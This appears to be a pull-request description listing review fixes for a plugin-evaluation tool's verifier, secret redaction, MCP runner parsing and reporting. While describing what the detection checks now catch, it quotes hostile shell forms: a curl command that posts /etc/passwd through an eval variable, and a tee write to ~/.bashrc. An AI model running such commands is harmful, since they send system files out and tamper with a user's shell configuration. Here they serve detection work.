fix(plugin): review fixes batch 2 for plugin evaluation (stacked on #28)

[rng1995]

Summary

This is the second batch of fixes from the code-quality review of PR #28, stacked on #28 the same way PR #180 was. Batch 1 (#180) fixed the small bugs. This batch covers what the review left open: the remaining bugs, the duplicated logic that had drifted apart, dead code, readability and performance.

The branch includes #28's head, 79e24ea. Where both changed the same behaviour, #28's approach is kept unless noted below.

The work was done in ten areas, each in its own merge commit, plus two passes that move callers onto the new shared helpers, and five merges from this PR's review. Every commit is signed off and does one thing. Each bug fix has a regression test that fails without it.

Fixes users will notice

Verifier (Harbor eval.py, kept in sync with eval_core)

• The canary check reads every apply_patch target (Move to, shell heredoc, argv and piped forms, OpenCode patchText, the converters' raw/value bodies) and charges the token only to the file whose section carries it.
• Shell-variable expansion is capped at 4096 added characters. Before, a crafted command could make the verifier allocate gigabytes.
• The network check reads quoted eval payloads such as A='curl -d @/etc/passwd …'; eval "$A", values set by env or export, and commands held in a variable.
• tee >(cat) ~/.bashrc is detected as a protected write.
• Judge evidence redacts every configured credential on both the template and the host side; the verifier also redacts the canary token.
• Judge file-change evidence uses the security check's shell write patterns.
• Subagent logs carry a truncation flag, and a deeply nested line no longer crashes the verifier.

Secrets and URLs

• Logs and judge evidence also redact GitLab, Slack, Hugging Face and npm tokens and AWS key IDs; artifacts add Hugging Face, npm and Slack refresh tokens. A standalone token keeps its prefix (glpat-<redacted>).
• The inline-secret checks recognise every GitHub prefix, and sk- matches only where a word starts, so task-<hex> is not a key.
• MCP URLs, HTTP hooks and hook commands share one credential rule, in url_policy. MCP now catches secret-shaped query values and names (?q=ghp_…) and fragment parameters, and reads ${USER:-} or ${env:USER} userinfo as a reference.
• A key-like user name before \@ (https://<hex>\@host) is CRITICAL and never shown. Before, it was not flagged and a hook message printed it.
• Findings never echo a credential from a command, including in metacharacter messages and pin details.
• Secret redaction of finding text runs in linear time. Before, one crafted 100 KB plugin line that also triggered a SkillSpector or PII finding stalled Tier 1 for minutes.
• Hook risk counts each flag once.
• Permission-mode flags match in any letter case.
• Inline programs behind fish -C, setsid or doas are detected.

MCP package runners

• Pinning, container-image lookup and the CVE audit share one parser, which reads all of feat(plugin): Add Plugin evaluation support across all tiers #28's runner forms.
• Runner options end at the package name, so npx -y pkg@1.2.3 -p 3000 audits pkg@1.2.3. Options after the command belong to the server.
• A command line written in command is read by its first word, so bash -c x /usr/bin/env is CRITICAL.
• uvx -w counts as --with, and --with-requirements leaves the server unpinned.
• pkg==v1.0 and pkg@=1.2.3 count as pinned. A deno module's version is read only from its URL path.

Plugin manifests and components

• A drive letter in any part of a component path counts as escaping the plugin root, and any other colon makes the path invalid.
• Findings past the 100-finding cap are counted in all four capped lists and ranked by policy severity. The note is HIGH schema_errors_truncated when a blocking finding is left out, otherwise LOW schema_findings_truncated.
• An SCP origin without a user (host.tld:owner/repo) gives the right repository slug, and the suggestion for unknown identity fits its cause.
• Rules in folders the scans skip are listed and flagged HIGH. A declared folder inside one gets one finding, not one per file.

Tier 3 collection and plugin signals

• The sum-of-parts arm saves every collected row with the expected case ids, so invalid-score diagnostics are kept. Its job_failure in the run results is redacted and bounded.
• Canary summaries count every collected row, so a leak from a trial whose judge failed is counted.
• A reward.json outside Harbor's verifier layouts is never scored.
• Stale-output reset and the symlink checks also cover integration_lift.json.
• The Codex session walk is bounded.
• The validate plugin path records evaluated_source in the Tier 3 run's config and report.
• evaluate-plugin stages the plugin's preferred manifest, the same one validate uses, even when a manifest file is passed.
• Plugin signals read every apply_patch form, and a moved-away file no longer counts as a write. An MCP write tool counts when an output key names the artifact.
• Every MCP tool spelling (fs__x, mcp_fs_x, OpenCode fs_x) counts as mcp__fs__x.
• Plugin signals grade a trial at the component and call caps in under 1 s instead of about 16 s.

Reporting

• The CLI, every report and a failed evaluate-plugin give one INCOMPLETE reason.
• Legacy Integration runs label the sum-of-parts baseline correctly in the hook-census and canary tables.
• There is one definition of "statically checked".
• Markdown lists what the run did not evaluate.
• The "+N more" counts come from totals.
• SARIF places skill-relative paths in the right bundled skill, also when two skills share a name, and renders about 17× faster for a 300-component plugin.
• BENCHMARK no longer overflows on very large scores.

Tier 2 and secure_fs

• Windows ctypes types are cached, so memory no longer grows with every open.
• Discovery uses its path budget in name order on both platforms, so path_count_limit errors are deterministic.
• The JSON preflight is about 10× faster and counts each escape sequence as one character.
• Skills that fail to parse still count against the profile byte budget.
• Advisory skips show as skipped.
• Whole-skill Tier 2 finding paths are no longer doubled.
• Clustering normalizes each vector once, about 40× faster.

Kept in #28's form: the job-directory lookup, SARIF path placement, the repository-identity rule, and pins that pip-audit skips (MEDIUM dependency-not-audited).

Structure

• One arm-collection pipeline: _collect_arm serves all three arms (B7).
• New modules:
  • validators/url_policy.py, which owns the credential rules and redact_secrets
  • plugin_mcp.py and plugin_paths.py, split out of plugin_components
  • plugin_states.py, a dependency-free home for the coverage and dependency states
• Shared helpers: RunnerInvocation/parse_mcp_runner, HostAllowlist/classify_host, PluginManifestFile, parse_manifest_text, lstat_walk, read_bounded, weighted_dimension_score, not_applicable_list, STATISTICS_BLOCKS, split_display_prefix, incomplete_reason, ComponentIndex, integration_reports_for, refuse_or_fall_back.
• Dead code listed in the review is removed. Names that other modules import still work.

Testing

• uv run pytest -q -n 4: 17,397 passed, 29 skipped (1,434 more tests than feat(plugin): Add Plugin evaluation support across all tiers #28's head)
• ruff check . passes and git diff --check is clean.
• Every non-merge commit is signed off.
• The Windows-specific secure_fs changes (cached NT API, walker, handle metadata, final-path lookup, atomic writer) are unit-tested with stand-in handles and pass the Windows Tier 2 CI job.
• .gitleaks.toml allowlists three earlier test fixtures, each for one commit, file and rule; the tests now assemble those values at run time. tests/test_ci_workflows.py pins the entries.
• Two feat(plugin): Add Plugin evaluation support across all tiers #28 Harbor process-timing tests get budgets that hold on a loaded machine.
• The refactor commits were checked by diffing old and new code on generated inputs, with identical results: plugin inventories (2,185), lockfiles (23,400) and dimension scores (180,000).

Known gaps, not addressed here

• The plugin inventory is built three times in a Tier 1 run, and once more each for the dependency audit and Tier 3 (B5). Fixing that first needs a decision between strict and lenient manifest parsing.
• The network check still misses quoted assignment values that contain a newline.
• evaluate-plugin has no --evaluated-source-* options, because adding them would change the CLI surface.

🤖 Generated with Claude Code